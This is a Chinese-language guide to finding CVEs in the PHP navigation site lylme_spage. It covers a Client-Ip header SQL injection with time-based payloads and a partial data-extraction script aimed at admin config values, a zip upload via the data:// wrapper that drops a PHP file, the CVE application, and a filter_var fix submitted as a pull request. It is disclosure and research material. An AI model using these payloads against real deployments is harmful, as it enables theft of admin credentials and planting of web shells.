开源项目CVE详细指南: 从SQL注入到Shell的完整探索
字数 1945 2025-08-20 18:18:40

开源项目CVE挖掘实战指南:从SQL注入到GetShell的完整流程

1. 背景与目标

1.1 背景概述

  • CVE(Common Vulnerabilities and Exposures)是通用漏洞披露系统
  • 获取高质量的CVE编号对安全研究人员具有重要意义
  • 本文以开源项目lylme_spage为例,展示完整漏洞挖掘流程

1.2 目标筛选标准

  • GitHub Star ≥ 300
  • Fofa/Hunter搜索独立IP ≥ 500
  • 项目代码质量适中(非明显靶场类代码)
  • 优先选择前台可直接利用的高危漏洞(如RCE、代码执行)

2. 目标项目分析

2.1 项目概况

  • 项目名称:lylme_spage(导航类网站)
  • GitHub数据:Star 313,Fork 72
  • 网络资产:Fofa独立IP 800+,有效资产2400+

2.2 鉴权机制分析

  • 后台目录:/admin
  • 关键鉴权变量:$islogin
  • 鉴权方式:
    • 直接判断:admin/ajax_link.php等文件直接检查$islogin
    • 间接判断:通过head.php文件引入鉴权逻辑

2.3 鉴权绕过尝试

  1. 查找未鉴权文件

    grep -v --include "*php*" -rl 'isset($islogin)' ./admin
    grep --include "*php*" -rL 'isset($islogin)' ./admin | xargs -I {} grep -n -L 'head.php' {}
    

    结果:仅找到admin/cache.phpadmin/footer.php,无利用价值

  2. 逻辑绕过分析

    • 关键鉴权代码位于include/member.php
    • 基于$_COOKIE["admin_token"]验证
    • 存在弱类型比较(==而非===),但利用条件苛刻

3. 前台SQL注入漏洞挖掘

3.1 漏洞定位

  • 漏洞文件:apply/index.php
  • 关键函数调用:apply($_POST['name'], $_POST['url'], $_POST['icon'], $_POST['group_id'], $status)

3.2 注入点分析

  • SQL语句构造:
    $sql = "INSERT INTO `lylme_apply` (...) VALUES (NULL, '".$name.url.group_id.icon.userip.date.status."');";
    
  • 可控变量:$userip(来自get_real_ip()函数)

3.3 注入利用链

  1. IP获取函数分析

    function get_real_ip() {
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            // 只取第一个IP
        } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
            $real_ip = $_SERVER['HTTP_CLIENT_IP'];
        }
        return $real_ip;
    }
    
    • 可利用Client-Ip头完全控制IP值
  2. 注入验证

    • 请求示例:
      POST /lylme_spage-master/apply/index.php?submit=post HTTP/1.1
      Host: localhost:7777
      Client-Ip: 127.0.0.1'
      
    • 单引号报错,双引号正常,确认注入存在

3.4 注入利用限制与绕过

  1. 限制因素

    • INSERT类型注入
    • 使用mysqli_query,不支持多语句
    • 验证码校验(但可复用)
    • URL不能重复
  2. 利用技巧

    • 使用exp(999)结合if条件实现报错注入
    • 示例Payload:
      Client-Ip:0'>if(ord(substring(user(),1,1))=114,sleep(5)&exp(999),exp(999))>'
      

3.5 自动化利用脚本

def exploit(target, cookie, authcode, timeout=5):
    origin_payload = "select group_concat(v) from lylme_config where k like 'admin%'"
    # 获取长度
    length_payload = f"length(({origin_payload}))"
    # 延时5s
    if timeout < 1:
        timeout += 1
    length = 0
    while True:
        length += 1
        final_length_payload = f"0'>if({length_payload}={(length)},sleep({timeout})&exp(999),exp(999))>'"
        print(f"[*] Trying Length: {length}")
        r1 = post(target, cookie, authcode, final_length_payload)
        if r1.elapsed.total_seconds() > timeout - 1:
            break
    # 获取数据...

4. 后台任意文件上传GetShell

4.1 漏洞定位

  • 漏洞文件:admin/ajax_link.php
  • 关键代码:
    $RemoteFile = $_POST['file'];
    copy($RemoteFile, $LocalFile);
    $zip = new ZipArchive;
    $zip->open($LocalFile);
    $zip->extractTo('../');
    

4.2 利用步骤

  1. 创建恶意zip文件:

    echo '<?php phpinfo();?>' > 1.php
    zip 1.php.zip 1.php
    
  2. 构造base64 payload:

    import zipfile, base64, io
    zip_data = io.BytesIO()
    with zipfile.ZipFile(zip_data, 'w') as zipf:
        zipf.writestr("1.php", "<?php phpinfo();?>")
    zip_data.seek(0)
    payload = "data://text/plain;base64," + base64.b64encode(zip_data.read()).decode()
    
  3. 发送恶意请求:

    POST /lylme_spage-master/admin/ajax_link.php?submit=update HTTP/1.1
    Host: localhost:7777
    Content-Type: application/x-www-form-urlencoded
    
    file=data://text/plain;base64,UEsDBBQAAAAIALMUSFdQg8x9EgAAABIAAAAFAAAAMS5waHCzsS/IKFAA4sy8tHwNTWt7OwBQSwECFAMUAAAACACzFEhXUIPMfRIAAAASAAAABQAAAAAAAAAAAAAAgAEAAAAAMS5waHBQSwUGAAAAAAEAAQAzAAAANQAAAAAA
    

5. CVE申请流程

5.1 准备工作

  1. 在GitHub提交Issue:

    • 包含复现步骤、预期行为、实际行为、受影响版本、修复建议
    • 示例Issue:https://github.com/LyLme/lylme_spage/issues/32
  2. 准备英文报告(推荐使用DeepL翻译)

5.2 CVE申请步骤

  1. 访问CVE提交平台:https://cveform.mitre.org
  2. 填写申请表:
    • Request type: Report Vulnerability/Request CVE ID
    • 填写漏洞类型、影响组件、攻击向量等信息
    • 提供漏洞描述模板:
      A vulnerability has been found in [lylme_spage v1.7.0] and classified as [critical]. 
      Affected by this vulnerability is the file [/include/function.php]. 
      The manipulation of [the HTTP Header Client-Ip] leads to [sql injection]. 
      The attack can be launched remotely. CWE Definition of the Vulnerability [CWE-89].
      
  3. 提交后等待审核(约8天)

5.3 最终成果

  • 分配CVE编号:CVE-2023-45951、CVE-2023-45952
  • NVD评分:9.8(高危)

6. 漏洞修复与PR提交

6.1 修复方案

function get_real_ip() {
    // ...原有代码...
    if (filter_var($real_ip, FILTER_VALIDATE_IP)) {
        return $real_ip;
    } else {
        return "";
    }
}

6.2 PR提交步骤

  1. Fork目标仓库
  2. 创建修复分支:
    git checkout -b bugfix
    git add include/function.php
    git commit -m "验证IP合法性,防止SQL注入"
    git push --set-upstream origin bugfix
    
  3. 在GitHub提交Pull Request
  4. 等待项目维护者合并

7. 关键知识点总结

  1. 项目筛选:选择Star≥300、独立IP≥500的开源项目
  2. 审计技巧
    • 优先审计前台无需认证的功能
    • 关注用户可控的输入点(如HTTP头、POST参数)
  3. SQL注入利用
    • INSERT注入的特殊利用方式
    • exp(999)在条件判断中的妙用
  4. 文件上传绕过
    • 利用PHP伪协议(data://)
    • 内存中生成恶意zip文件
  5. CVE申请
    • 规范的漏洞描述模板
    • 完整的复现步骤证明
  6. 修复建议
    • 输入验证(如filter_var
    • 最小权限原则

8. 参考资源

  1. CVE官网:https://cve.mitre.org
  2. NVD数据库:https://nvd.nist.gov
  3. DeepL翻译:https://www.deepl.com
  4. CVE申请表单:https://cveform.mitre.org
开源项目CVE挖掘实战指南:从SQL注入到GetShell的完整流程 1. 背景与目标 1.1 背景概述 CVE(Common Vulnerabilities and Exposures)是通用漏洞披露系统 获取高质量的CVE编号对安全研究人员具有重要意义 本文以开源项目 lylme_spage 为例,展示完整漏洞挖掘流程 1.2 目标筛选标准 GitHub Star ≥ 300 Fofa/Hunter搜索独立IP ≥ 500 项目代码质量适中(非明显靶场类代码) 优先选择前台可直接利用的高危漏洞(如RCE、代码执行) 2. 目标项目分析 2.1 项目概况 项目名称:lylme_ spage(导航类网站) GitHub数据:Star 313,Fork 72 网络资产:Fofa独立IP 800+,有效资产2400+ 2.2 鉴权机制分析 后台目录:/admin 关键鉴权变量: $islogin 鉴权方式: 直接判断: admin/ajax_link.php 等文件直接检查 $islogin 间接判断:通过 head.php 文件引入鉴权逻辑 2.3 鉴权绕过尝试 查找未鉴权文件 : 结果:仅找到 admin/cache.php 和 admin/footer.php ,无利用价值 逻辑绕过分析 : 关键鉴权代码位于 include/member.php 基于 $_COOKIE["admin_token"] 验证 存在弱类型比较( == 而非 === ),但利用条件苛刻 3. 前台SQL注入漏洞挖掘 3.1 漏洞定位 漏洞文件: apply/index.php 关键函数调用: apply($_POST['name'], $_POST['url'], $_POST['icon'], $_POST['group_id'], $status) 3.2 注入点分析 SQL语句构造: 可控变量: $userip (来自 get_real_ip() 函数) 3.3 注入利用链 IP获取函数分析 : 可利用 Client-Ip 头完全控制IP值 注入验证 : 请求示例: 单引号报错,双引号正常,确认注入存在 3.4 注入利用限制与绕过 限制因素 : INSERT类型注入 使用 mysqli_query ,不支持多语句 验证码校验(但可复用) URL不能重复 利用技巧 : 使用 exp(999) 结合 if 条件实现报错注入 示例Payload: 3.5 自动化利用脚本 4. 后台任意文件上传GetShell 4.1 漏洞定位 漏洞文件: admin/ajax_link.php 关键代码: 4.2 利用步骤 创建恶意zip文件: 构造base64 payload: 发送恶意请求: 5. CVE申请流程 5.1 准备工作 在GitHub提交Issue: 包含复现步骤、预期行为、实际行为、受影响版本、修复建议 示例Issue:https://github.com/LyLme/lylme_ spage/issues/32 准备英文报告(推荐使用DeepL翻译) 5.2 CVE申请步骤 访问CVE提交平台:https://cveform.mitre.org 填写申请表: Request type: Report Vulnerability/Request CVE ID 填写漏洞类型、影响组件、攻击向量等信息 提供漏洞描述模板: 提交后等待审核(约8天) 5.3 最终成果 分配CVE编号:CVE-2023-45951、CVE-2023-45952 NVD评分:9.8(高危) 6. 漏洞修复与PR提交 6.1 修复方案 6.2 PR提交步骤 Fork目标仓库 创建修复分支: 在GitHub提交Pull Request 等待项目维护者合并 7. 关键知识点总结 项目筛选 :选择Star≥300、独立IP≥500的开源项目 审计技巧 : 优先审计前台无需认证的功能 关注用户可控的输入点(如HTTP头、POST参数) SQL注入利用 : INSERT注入的特殊利用方式 exp(999) 在条件判断中的妙用 文件上传绕过 : 利用PHP伪协议(data://) 内存中生成恶意zip文件 CVE申请 : 规范的漏洞描述模板 完整的复现步骤证明 修复建议 : 输入验证(如 filter_var ) 最小权限原则 8. 参考资源 CVE官网:https://cve.mitre.org NVD数据库:https://nvd.nist.gov DeepL翻译:https://www.deepl.com CVE申请表单:https://cveform.mitre.org